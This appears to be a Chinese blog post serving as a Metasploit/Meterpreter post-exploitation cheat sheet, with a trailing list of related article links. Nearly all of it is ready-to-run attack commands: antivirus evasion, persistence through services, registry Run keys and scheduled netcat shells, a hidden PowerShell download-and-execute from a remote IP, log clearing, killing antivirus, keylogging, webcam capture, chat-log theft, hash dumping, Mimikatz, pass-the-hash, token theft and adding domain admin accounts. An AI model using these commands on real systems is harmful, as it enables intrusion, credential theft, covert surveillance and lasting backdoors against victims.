监听

AutoRunScrip:自动执行脚本

如:自动执行post/windows/manage/migrate

set AutoRunScript post/windows/manage/migrate
set autorunscript migrate -f #获取shell后,将自动迁移到另一个进程

自动注入进程

set prependmigrate true
set prependmigrateProc svchost.exe

set exitonsession false  //可以让建立监听的端口继续保持侦听,可以接受多个session
set stagerverifysslcert false  //防止获取shell的时候出现的SSL_accept错误

免杀

将控制端向被控制端发送的stage进行编码,从而绕过symantec的查杀

set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false

相当于使用RC4

msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=xxx lport=xxxx RC4PASSWORD=yourpass -f c

利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。可以绕过symantec,且不用设置stageencoder选项,更稳定更方便

绕过杀软的添加自启动

exploit/windows/local/registry_persistence

同类型的还有其他payload,如

exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence

后门脚本

1.persistence

metasploit/scripts/meterpreter/persistence

用于创建通过启动项启动。会创建注册表,创建文件,但是很容易被杀软拦截。
命令示例:

run persistence -A -U -i 5 -p 443 -r 192.168.2.101

使用-S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项
能实现同样功能的脚本还有:

exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb

2.metsvc.rb

metasploit/scripts/meterpreter/metsvc.rb

用于创建服务启动。会创建meterpreter服务,并上传三个文件。很容易被杀软拦截,且安装服务需要管理员权限。

命令:

run metsvc -A

使用 -r 参数可卸载服务。

3、Scheduleme & Schtasksabuse

metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb

这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的

区别是scheduleme 需要当前进程拥有最高管理权限,而schtasksabuse则不需要,(测试发现很容易被杀软拦截)。
使用举例:

run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令

其他参数有兴趣自己看看就不详细介绍了

schtasksabuse

run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4  #每隔4秒执行一次calc.exe

使用脚本需要加-t参数
能实现同样功能的脚本还有:exploits/windows/local/s4u_persistence

4. Mof_ps_persist
  Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截)

绕过拦截的计划任务:

schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次

设置持久化后门

设置powershell脚本开机自启动后门

sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))\""
sc config “name” start= auto
sc description “name” “description” 设置服务的描述字符串
net start “name” 启动服务
sc delete “name” 删除这个服务,不想使用服务直接删除

创建自启动木马服务

先创建一个服务名称后面跟着木马上传的路径,这里如果要保证”windows Service EXE程序不被杀毒软件拦截,最好做下免杀,在放到更加隐蔽的目录

sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe"
sc description "server power" "description" 设置服务的描述字符串
sc config "server power" start= auto 设置这个服务为自动启动
net start "server power" 启动服务 

也可以用注册表添加自启动

生成一个exe木马程序(免杀)

设置开机启动项,往注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加木马程序路径

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\artifact1.exe" /f 

当系统注销,再次进入登入到目标系统就会上线,权限是继承的。

Meterpreter后渗透命令

基本命令

ps/migrate/sysinfo/screenshot /backgroundcd/cat/ls/del/mkdir/rm/edit
edit c:\\windows\\system32\\drivers\\etc\\hosts  编辑文件upload /root/nc.exe c:\\windows\\system32  #上传
download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2.0.db /etc(聊天记录) #下载目标聊天记录,可用Qqlogger查看clearev --清除日志
run killav --干掉杀软
run vnc --开启目标vnc服务
run scraper    --列举系统及用户敏感信息、下载用户注册表
run metsvc --在目标上将meterpreter安装为后门服务,

绕过 UAC

meterpreter> run post/windows/escalate/bypassuacuictl enable keyboard/mouse    #获取键盘或鼠标的控制权
timestomp 文件a -f 文件b          #把文件a的时间信息设置的与b相同
run webcam -p 图片保存路径      #开启目标摄像头并截图
run packetrecorder –i 会话序号          #捕获流量数据包.pcapsetdesktop    -更改 meterpreter 桌面
sessions –u 会话序号    #将shenll会话转换成meterpreter
getwd –显示目录          lcd -更改目录
getprivs   -获取更多特权          getpid -获取当前进程 ID (PID)
getsystem   获得系统权限      getuid -获取作为运行服务器的用户
search –d c:\\windows –f *.mdb       #在目标主机Windows目录中搜索文件

提权

use priv
getsystem
getuid

执行程序

execute -H -i -f cmd.exe #隐藏执行cmd并与之交互
execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”
#隐藏,从内存中,显示虚假运行程序,执行恶意程序

搜集信息

run post/windows/gather/forensics/enum_drivers    #获取磁盘分区信息
run post/windows/gather/checkvm (run checkvm)    #检测是否为虚拟机
run post/windows/gather/dumplinks    --查看目标最近系统操作路径(较慢)
run post/windows/gather/enum_applications #查看目标的软件更新和补丁

获取hash

hashdump或run hashdump或run smart_hashdump
>run post/windows/gather/hashdump
>run /windows/gather/smart_hashdump    --可绕过windows UAC控制

reg command #修改注册表

run getgui –u 建立用户名 –p 建立用户的密码 #建立账户并开启远程终端
run multi_console_command –rc /root/.msf3/logs/scripts/getgui/clean_up_*.rc   #清除脚本痕迹

键盘记录

keyscan_start keyscan_dump   keyscan_stop

run post/windows/capture/keylog_recorder

嗅探

msf > use auxiliary/sniffer/psnuffle

msf auxiliary(psnuffle) > run

开启 RDP 服务

reg add "hklm\system\currentcontrolset\control\terminal server"
/f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
关闭 Windows 防火墙
netsh firewall set opmode disable

开启vnc

meterpreter>runvnc
meterpreter>runscreen_unlock

远程连接
我们尝试用RDP连接到Windows 7,。

>use post/windows/manage/enable_rdp  首先在msfconsole运行enable_rdp模块
>set SESSION 2  把SESSION设置为无UAC限制的有权限的session
>run
然后用haxtorDaMan账号登录
:xfreerdp /v:192.168.1.108 /port:3389/size:1600×900/u:haxtorDaMan /p:hax@Pass50

端口转发与远程桌面连接

portfwd add –l 9999(转发至本机的端口号) –p 3389 -r 目标IP
rdesktop [-u 用户名 –p 密码] 127.0.0.1:9999
rdesktop 192.168.1.3 -f 1024x768
远程挂在本地文件夹(本地/home和/root文件夹挂在到远程服务器上分别命名为h和r)
redsktop 192.168.1.3 -r disk:h=/home,r=/root
共享剪贴板: redsktop 192.168.1.3 -r clipboard:PRIMARYCLIPBOARD

Meterpreter 端口转发

https://www.offensive­security.com/metasploit­unleashed/portfwd/ 
#
# 反弹10.1.1.129端口3389到本地2222并监听
meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
root@kali:~# rdesktop 127.1.1.0:2222

使用 Mimikatz 获取 Windows 明文用户名密码

git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full

用kiwi获取明文密码:

meterpreter>load kiwi
meterpreter> creds_all
meterpreter> lsa_dump_sam

使用mimikatz自带的命令:

meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
<前面一句命令在密码超过14位时LM会为空,后一句命令可能得到明文>

Metaspolit中使用Mimikatz:

使用metasploit内建的命令:
meterpreter > load mimikatz
meterpreter > msv   #msv creden
meterpreter > kerberostials #kerberos credentials 获取到系统hash置换,可以去http://www.cmd5.com/进行NTLM解密

当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆,需要使用
pass-the-hash技术:

msf>use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST  xxxx
set LPORT  xxxx
set RHOST  xxxx
set SMBPassword xxxx
exploit

传递哈希攻击

meterpreter > run post /windows/ gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit /windows/ smb/psexec
msf exploit(psexec) > set payload windows /meterpreter/ reverse_tcp
msf exploit(psexec) > set SMBPass
e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit

显示远程机器的防火墙规则,列出DEP和UAC策略。并禁用之

> run getcountermeasure
> run getcountermeasure -h
> run getcountermeasure -d -k

提权一般步骤

> use priv > getsystem
> ps > steal_token 1784
> shell
net user hack password /add /DOMAIN
net group "DomainAdmins" hack /add /DOMAIN创建一个管理员帐号 (haxtorDaMan) 把它提升到管理员组,并且成为远程桌面用户
net user haxtorDaManhax@Pass50 /add
net localgroup “Administrators” haxtorDaMan /add
net localgroup“Remote Desktop Users” haxtorDaMan /

令牌模拟:

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限, 之后登陆其他机器时不需要登陆密码。
> ps # 查看进程, 找出域控账户运行的进程 ID, 如 PID为 380
> steal_token 380
有时 ps命令列出的进程中可能不存在域控账户的进程,
此时使用 incognito模块查看可用 token:
> use incognito (use priv4    getsystem)
> list_tokens –u    #列出可用 token
> impersonate_token SNEAKS.IN\\ihazdomainadmin
> add_user hacker password –h 域控制器IP #在域控主机上添加账户
> add_group_user “Domain Admins” hacker –h IP #将账户添加至域管理员

使用 Railgun操作 windowsAPIs

例:
meterpreter> irb
>>client.core.use(“railgun”)    #添加Railgun模块
>>client.railgun.user32.MessageBoxA(o,“我是hack!”,“world”,“MB_OK”)
#在目标机器上会弹出一个标题栏为 world,内容为“我是hack!”的窗口
>>client.railgun.user32.MessageBoxA(0,“我是hack!”,NULL,“MB_OK”)
>> client.railgun.kernel32.SetThreadExecutionState(“ES_CONTINUOUS | ES_SYSTEM_
REQUIRED”)    #阻止目标主机进入睡眠状态

Meterpreter相关推荐

  1. Metasploit(一)--Meterpreter的命令速查表

    原文:http://www.2cto.com/Article/201311/259669.html 第1步:核心命令 ? – 帮助菜单 background – 将当前会话移动到背景 bgkill – ...

  2. Metasploit***技巧:后***Meterpreter代理

    前言 Metasploit是一个免费的.可下载的***测试框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施***测试.它本身附带数百个已知软件漏洞的专业级漏洞***测试工具. 当H.D. Mo ...

  3. Metasploit Shell升级Meterpreter会话技巧

    Metasploit Shell升级Meterpreter会话技巧 在Metasploit中,用户通过利用漏洞获取远程Shell和Meterpreter会话.如果用户已经获取到Shell会话,但是又希 ...

  4. 通过ngrok在内网捕获meterpreter反弹

    一.准备工作 在学习msf的过程中,一般都是搭建虚拟机,在局域网里进行练习的.在实际渗透中,目标机器与我们的主机可能并不在同一个网络内,甚至会有双方都处在内网中的情况.那么,如何让处在内网中的目标机器 ...

  5. Meterpreter Guide

    Croxy · 2015/11/04 16:10 由于网上很多文章乱而不全或者过期了 所以打算噜这篇来做个笔记- 方便自己以后查阅:) 0x01 入门篇(生成与接收) 功能介绍 msfpayload和 ...

  6. 用kali的Meterpreter控制win10,可以偷看你的电脑的所有数据

    Meterpreter Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道.使用它作为攻击载荷能够获得目 ...

  7. Meterpreter重要命令与使用

    Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令.脚本及使用方式.包含信息收集.提权.注册表操作.令牌操纵.哈希利用.后门 ...

  8. 使用meterpreter让没有安装python解释器的肉鸡设备执行任意python程序

    目标设备不需安装python解释器就能让其执行python程序 # 需要在与目标meterpreter的session中加载python模块 meterpreter > load python ...

  9. 渗透中Meterpreter基本操作和对应的windows上的排查或者现象

    Meterpreter的简单介绍 Meterpreter 是MSF自带一个强大的SHELL,可以执行很多功能. Meterpreter SHELL 基本操作 meterpreter>backgr ...

最新文章

  1. python使用pandas通过聚合获取时序数据的最后一个指标数据(例如长度指标、时间指标)生成标签并与原表连接(join)进行不同标签特征的可视化分析
  2. POJ1003·Hangover
  3. Perseus-BERT——业内性能极致优化的BERT训练方案
  4. JZOJ 1533. 郁闷的gxg
  5. Tomcat6 Spring3 问题:严重: Error configuring application listener of class org.springframework.web.conte
  6. zookeeper出现Error contacting service. It is probably not running.
  7. MySQL 常用运算符
  8. IPv4地址在mysql的存储
  9. 新晋千元王者!红米Note 8系列发布:999元起,价格真香
  10. CentOS系统时间与网络同步
  11. Python渗透测试之身份认证攻击
  12. pandas库的使用
  13. linux 显卡扩展坞,我的新玩意儿——Mac mini2018+Razer core(附显卡扩展坞类比图)...
  14. 单位圆盘的全纯自同构群Aut B(0,1)
  15. 【Windows Server 2019】企业虚拟专用网络服务的配置和管理(上)
  16. 2018年总结,踩踩这条即将溜掉的狗尾巴 ~
  17. cpp导入excel到mysql_将EXCEL表格中的数据导入mysql数据库表中
  18. 游戏数据运营--2.新版本效果分析案例
  19. photoshop中调整橡皮擦的像素大小
  20. sufficient statistics

热门文章

  1. python程序实例教程基础-编程小案例
  2. 图片的批量下载 和 爬虫爬取图片数据集
  3. 微信小程序浮动按钮_操作按钮悬浮固定在微信小程序底部的实现代码
  4. 添加lombok插件
  5. LeetCode Longest Palindrome(计算最长的对称串)
  6. 第10章 序列的修改、散列和切片
  7. 关于异步请求的一些事
  8. 【OpenCV学习笔记之一】图像加载,修改及保存
  9. 如何在Centos 7上用Logrotate管理日志文件
  10. Python之黏包的解决